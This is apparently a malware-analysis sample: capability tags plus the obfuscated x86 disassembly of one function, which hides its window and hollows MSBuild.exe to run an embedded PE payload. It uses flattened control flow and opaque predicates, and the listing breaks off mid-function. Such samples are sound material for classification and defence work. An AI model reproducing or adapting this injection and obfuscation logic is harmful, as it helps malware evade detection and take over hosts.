Function at 0x100020a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x15c
mov eax, dword [0x10064000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x164], 0x60166dab
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
sub eax, 0x807bf06d
je 0x10004959
jmp 0x100020dc
mov eax, dword [ebp - 0x168]
sub eax, 0x80f60371
je 0x100040a2
jmp 0x100020f2
mov eax, dword [ebp - 0x168]
sub eax, 0x810ae0fd
je 0x10003d70
jmp 0x10002108
mov eax, dword [ebp - 0x168]
sub eax, 0x82baf8e7
je 0x1000346e
jmp 0x1000211e
mov eax, dword [ebp - 0x168]
sub eax, 0x850609c9
je 0x10004823
jmp 0x10002134
mov eax, dword [ebp - 0x168]
sub eax, 0x85f534d1
je 0x100038ac
jmp 0x1000214a
mov eax, dword [ebp - 0x168]
sub eax, 0x86da890a
je 0x10003cd2
jmp 0x10002160
mov eax, dword [ebp - 0x168]
sub eax, 0x89429f6b
je 0x100041c0
jmp 0x10002176
mov eax, dword [ebp - 0x168]
sub eax, 0x8c492152
je 0x1000488f
jmp 0x1000218c
mov eax, dword [ebp - 0x168]
sub eax, 0x8fa51270
je 0x10002f26
jmp 0x100021a2
mov eax, dword [ebp - 0x168]
sub eax, 0x965d93fc
je 0x10004aca
jmp 0x100021b8
mov eax, dword [ebp - 0x168]
sub eax, 0x99529c58
je 0x10003fbd
jmp 0x100021ce
mov eax, dword [ebp - 0x168]
sub eax, 0x9a8a9d0b
je 0x10004841
jmp 0x100021e4
mov eax, dword [ebp - 0x168]
sub eax, 0x9c8d4bbf
je 0x10004155
jmp 0x100021fa
mov eax, dword [ebp - 0x168]
sub eax, 0x9cf0b947
je 0x10003df9
jmp 0x10002210
mov eax, dword [ebp - 0x168]
sub eax, 0x9d1be30c
je 0x10004312
jmp 0x10002226
mov eax, dword [ebp - 0x168]
sub eax, 0x9de1e75b
je 0x10004ae5
jmp 0x1000223c
mov eax, dword [ebp - 0x168]
sub eax, 0x9e5751f7
je 0x10003d35
jmp 0x10002252
mov eax, dword [ebp - 0x168]
sub eax, 0xa326162c
je 0x10002d2c
jmp 0x10002268
mov eax, dword [ebp - 0x168]
sub eax, 0xa32dcce8
je 0x10003255
jmp 0x1000227e
mov eax, dword [ebp - 0x168]
sub eax, 0xa4a7e7f4
je 0x1000485f
jmp 0x10002294
mov eax, dword [ebp - 0x168]
sub eax, 0xa4e4f335
je 0x1000487d
jmp 0x100022aa
mov eax, dword [ebp - 0x168]
sub eax, 0xa6651cd7
je 0x10003ef1
jmp 0x100022c0
mov eax, dword [ebp - 0x168]
sub eax, 0xa68939f6
je 0x10004409
jmp 0x100022d6
mov eax, dword [ebp - 0x168]
sub eax, 0xa8a9481b
je 0x100048e0
jmp 0x100022ec
mov eax, dword [ebp - 0x168]
sub eax, 0xab704751
je 0x10003448
jmp 0x10002302
mov eax, dword [ebp - 0x168]
sub eax, 0xad0f8fde
je 0x10003345
jmp 0x10002318
mov eax, dword [ebp - 0x168]
sub eax, 0xaf83d178
je 0x10002f59
jmp 0x1000232e
mov eax, dword [ebp - 0x168]
sub eax, 0xb002f729
je 0x10003f00
jmp 0x10002344
mov eax, dword [ebp - 0x168]
sub eax, 0xb1302737
je 0x10004b49
jmp 0x1000235a
mov eax, dword [ebp - 0x168]
sub eax, 0xb4dc1888
je 0x100044fc
jmp 0x10002370
mov eax, dword [ebp - 0x168]
sub eax, 0xb51c4fee
je 0x10003c16
jmp 0x10002386
mov eax, dword [ebp - 0x168]
sub eax, 0xb531ad83
je 0x10003c5f
jmp 0x1000239c
mov eax, dword [ebp - 0x168]
sub eax, 0xb55a9acf
je 0x10004669
jmp 0x100023b2
mov eax, dword [ebp - 0x168]
sub eax, 0xb56cb66d
je 0x100048a4
jmp 0x100023c8
mov eax, dword [ebp - 0x168]
sub eax, 0xbb2ec2c4
je 0x10003072
jmp 0x100023de
mov eax, dword [ebp - 0x168]
sub eax, 0xbcfb4b45
je 0x1000494a
jmp 0x100023f4
mov eax, dword [ebp - 0x168]
sub eax, 0xbd3a3bdf
je 0x100040e7
jmp 0x1000240a
mov eax, dword [ebp - 0x168]
sub eax, 0xbdb74f34
je 0x100037c9
jmp 0x10002420
mov eax, dword [ebp - 0x168]
sub eax, 0xbe335bc5
je 0x1000399a
jmp 0x10002436
mov eax, dword [ebp - 0x168]
sub eax, 0xc0ba9286
je 0x1000465a
jmp 0x1000244c
mov eax, dword [ebp - 0x168]
sub eax, 0xc12b4d90
je 0x1000486e
jmp 0x10002462
mov eax, dword [ebp - 0x168]
sub eax, 0xc6acb43b
je 0x10004b2e
jmp 0x10002478
mov eax, dword [ebp - 0x168]
sub eax, 0xcd15f517
je 0x100030ef
jmp 0x1000248e
mov eax, dword [ebp - 0x168]
sub eax, 0xcf5736cc
je 0x1000370a
jmp 0x100024a4
mov eax, dword [ebp - 0x168]
sub eax, 0xcfd9bf5e
je 0x10004935
jmp 0x100024ba
mov eax, dword [ebp - 0x168]
sub eax, 0xd0962c96
je 0x100034bf
jmp 0x100024d0
mov eax, dword [ebp - 0x168]
sub eax, 0xd114afb9
je 0x100039a9
jmp 0x100024e6
mov eax, dword [ebp - 0x168]
sub eax, 0xd3d4cd3f
je 0x10003b8f
jmp 0x100024fc
mov eax, dword [ebp - 0x168]
sub eax, 0xd5731f40
je 0x10003be4
jmp 0x10002512
mov eax, dword [ebp - 0x168]
sub eax, 0xd7d9cf9b
je 0x10004998
jmp 0x10002528
mov eax, dword [ebp - 0x168]
sub eax, 0xd89c7b1f
je 0x10003ce1
jmp 0x1000253e
mov eax, dword [ebp - 0x168]
sub eax, 0xdd91da23
je 0x10002cac
jmp 0x10002554
mov eax, dword [ebp - 0x168]
sub eax, 0xddde9949
je 0x100032d3
jmp 0x1000256a
mov eax, dword [ebp - 0x168]
sub eax, 0xde092fec
je 0x100041cf
jmp 0x10002580
mov eax, dword [ebp - 0x168]
sub eax, 0xe48cbefb
je 0x10004b93
jmp 0x10002596
mov eax, dword [ebp - 0x168]
sub eax, 0xe8bc4847
je 0x10004a6f
jmp 0x100025ac
mov eax, dword [ebp - 0x168]
sub eax, 0xe923dd9c
je 0x10002cbb
jmp 0x100025c2
mov eax, dword [ebp - 0x168]
sub eax, 0xeae85936
je 0x10003d44
jmp 0x100025d8
mov eax, dword [ebp - 0x168]
sub eax, 0xeb0a55e7
je 0x10003167
jmp 0x100025ee
mov eax, dword [ebp - 0x168]
sub eax, 0xec87a9af
je 0x10004525
jmp 0x10002604
mov eax, dword [ebp - 0x168]
sub eax, 0xece67992
je 0x10002e2c
jmp 0x1000261a
mov eax, dword [ebp - 0x168]
sub eax, 0xed9cac99
je 0x10003f47
jmp 0x10002630
mov eax, dword [ebp - 0x168]
sub eax, 0xf02b82f9
je 0x10002fcf
jmp 0x10002646
mov eax, dword [ebp - 0x168]
sub eax, 0xf0c1fd7e
je 0x10004214
mov dword [ebp - 0x164], 0xe923dd9c
jmp 0x10004c67
mov eax, dword [ebp - 0xf8]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c000
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
movzx edx, word [eax]
mov eax, 0xa4e4f335
mov ecx, 0xa326162c
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0xa7f4bfb4
sub edx, 1
sub edx, 0xa7f4bfb4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb56cb66d
mov ecx, 0x116e7dd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0x529f31fc
sub edx, 1
add edx, 0x529f31fc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x43481ba7
mov ecx, 0x60c4f8f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov dword [ebp - 0x164], 0x65cecf3a
jmp 0x10004c67
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0x1a36c1d5
sub edx, 1
add edx, 0x1a36c1d5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa8a9481b
mov ecx, 0xf02b82f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10005d60
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10005d60
add esp, 0xc
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0xec], eax
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0x3a790da1
sub edx, 1
sub edx, 0x3a790da1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8a9481b
mov ecx, 0xbb2ec2c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov dword [ebp - 0x164], 0x3705063f
jmp 0x10004c67
mov eax, dword [ebp - 0xec]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0xe5], al
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
sub edx, 0xbe292cc9
sub edx, 1
add edx, 0xbe292cc9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcfd9bf5e
mov ecx, 0x1a3cd7c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov al, byte [ebp - 0xe5]
mov byte [ebp - 0x135], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x13c], eax
mov dl, byte [ebp - 0x135]
mov eax, 0xf3f5261b
mov ecx, 0x77e47351
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov dword [ebp - 0x164], 0x77e47351
jmp 0x10004c67
mov edx, dword [ebp - 0xe4]
mov eax, 0xa4a7e7f4
mov ecx, 0x55ea600d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xe0], eax
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0xcf0ddcbf
sub edx, 1
add edx, 0xcf0ddcbf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x807bf06d
mov ecx, 0x4c6ac1f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.10001b20
add esp, 4
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x164], 0x82baf8e7
jmp 0x10004c67
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
sub edx, 0x7eb1679c
sub edx, 1
add edx, 0x7eb1679c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd7d9cf9b
mov ecx, 0xd0962c96
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x134]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x128]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x134]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x24]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
sete al
and al, 1
mov byte [ebp - 0xd9], al
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0xefd12018
sub edx, 1
add edx, 0xefd12018
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd7d9cf9b
mov ecx, 0x1954ad21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x12c]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x134]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x134]
add ecx, 0x9af5b542
add ecx, 0x18
sub ecx, 0x9af5b542
mov eax, dword [ebp - 0x134]
movzx eax, word [eax + 0x14]
add ecx, 0x9ad8d7d1
add ecx, eax
sub ecx, 0x9ad8d7d1
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0
mov eax, dword [ebp - 0x134]
add eax, 0x18
add eax, 0x60
add eax, 0x28
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x164], 0xbdb74f34
jmp 0x10004c67
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0x28577601
sub edx, 1
sub edx, 0x28577601
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe8bc4847
mov ecx, 0x365ce471
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov dword [ebp - 0x164], 0x16d0d839
jmp 0x10004c67
mov dword [ebp - 0x164], 0xd114afb9
jmp 0x10004c67
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0x549a994f
sub edx, 1
sub edx, 0x549a994f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x599807bd
mov ecx, 0x705123cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x164], 0xd5731f40
jmp 0x10004c67
mov esi, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb0]
xor eax, eax
sub eax, ecx
sub esi, eax
mov edx, dword [ebp - 0xb8]
mov eax, 0x9e5751f7
mov ecx, 0xb51c4fee
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x965d93fc
mov ecx, 0xb531ad83
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0xa8], eax
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0xf33fc576
sub edx, 1
sub edx, 0xf33fc576
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x965d93fc
mov ecx, 0x86da890a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov dword [ebp - 0x164], 0xd89c7b1f
jmp 0x10004c67
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xac]
add ecx, eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov edx, dword [ebp - 0x124]
mov edx, dword [edx]
mov esi, dword [ebp - 0x114]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0xfc47363e
sub eax, edx
sub eax, 0xfc47363e
add ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x9e5751f7
jmp 0x10004c67
mov dword [ebp - 0x164], 0xeae85936
jmp 0x10004c67
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x164], 0x810ae0fd
jmp 0x10004c67
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0xa4]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x16d0d839
jmp 0x10004c67
mov eax, dword [ebp - 0xa0]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x99], al
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
add edx, 0x1ac72207
sub edx, 1
sub edx, 0x1ac72207
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9de1e75b
mov ecx, 0xd4bcc82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov dword [ebp - 0x164], 0xb002f729
jmp 0x10004c67
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x8d], al
mov dword [ebp - 0x164], 0x70fdd864
jmp 0x10004c67
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
add edx, 0xeaf4bfc9
sub edx, 1
sub edx, 0xeaf4bfc9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf8dbfcce
mov ecx, 0x99529c58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov eax, dword [ebp - 0x11c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
xor ecx, ecx
sub ecx, 8
add eax, ecx
mov dword [ebp - 0x8c], eax
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0xd96f3ad7
sub edx, 1
sub edx, 0xd96f3ad7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8dbfcce
mov ecx, 0x72b97ddb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x164], 0x21016a79
jmp 0x10004c67
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc6acb43b
mov ecx, 0x9c8d4bbf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x104]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x84], eax
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
sub edx, 0x3fae5f9e
sub edx, 1
add edx, 0x3fae5f9e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc6acb43b
mov ecx, 0x89429f6b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov dword [ebp - 0x164], 0xde092fec
jmp 0x10004c67
mov edx, dword [ebp - 0x84]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0x85f7b67b
or edx, ecx
or eax, 0x85f7b67b
xor edx, 0xffffffff
and edx, eax
mov eax, 0x3d83c376
mov ecx, 0xf0c1fd7e
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
sub ecx, 0x87af671d
add ecx, eax
add ecx, 0x87af671d
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0x3d44945
sub edx, 1
add edx, 0x3d44945
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb1302737
mov ecx, 0xf5b5ba24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov dword [ebp - 0x164], 0x3d83c376
jmp 0x10004c67
mov dword [ebp - 0x164], 0x59fd12ce
jmp 0x10004c67
mov ecx, dword [ebp - 0x78]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x80f60371
jmp 0x10004c67
mov dword [ebp - 0x164], 0xb55a9acf
jmp 0x10004c67
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0x9cddd278
sub edx, 1
add edx, 0x9cddd278
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7c9222c7
mov ecx, 0x7b7427ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004c67
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x164], 0x9a8a9d0b
jmp 0x10004c67
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x164], 0xa4a7e7f4
jmp 0x10004c67
mov dword [ebp - 0x164], 0xc12b4d90
jmp 0x10004c67
mov dword [ebp - 0x164], 0xa4e4f335
jmp 0x10004c67
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005160
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [ebp - 0x164], 0x63551fc1
jmp 0x10004c67
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x12c]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x164], 0x116e7dd4
jmp 0x10004c67
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10005d60
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10005d60
add esp, 0xc
mov dword [ebp - 0x164], 0xf02b82f9
jmp 0x10004c67
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x164], 0xcd15f517
jmp 0x10004c67
mov dword [ebp - 0x164], 0x4f908706
jmp 0x10004c67
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x164], 0xad0f8fde
jmp 0x10004c67
mov eax, dword [ebp - 0x134]
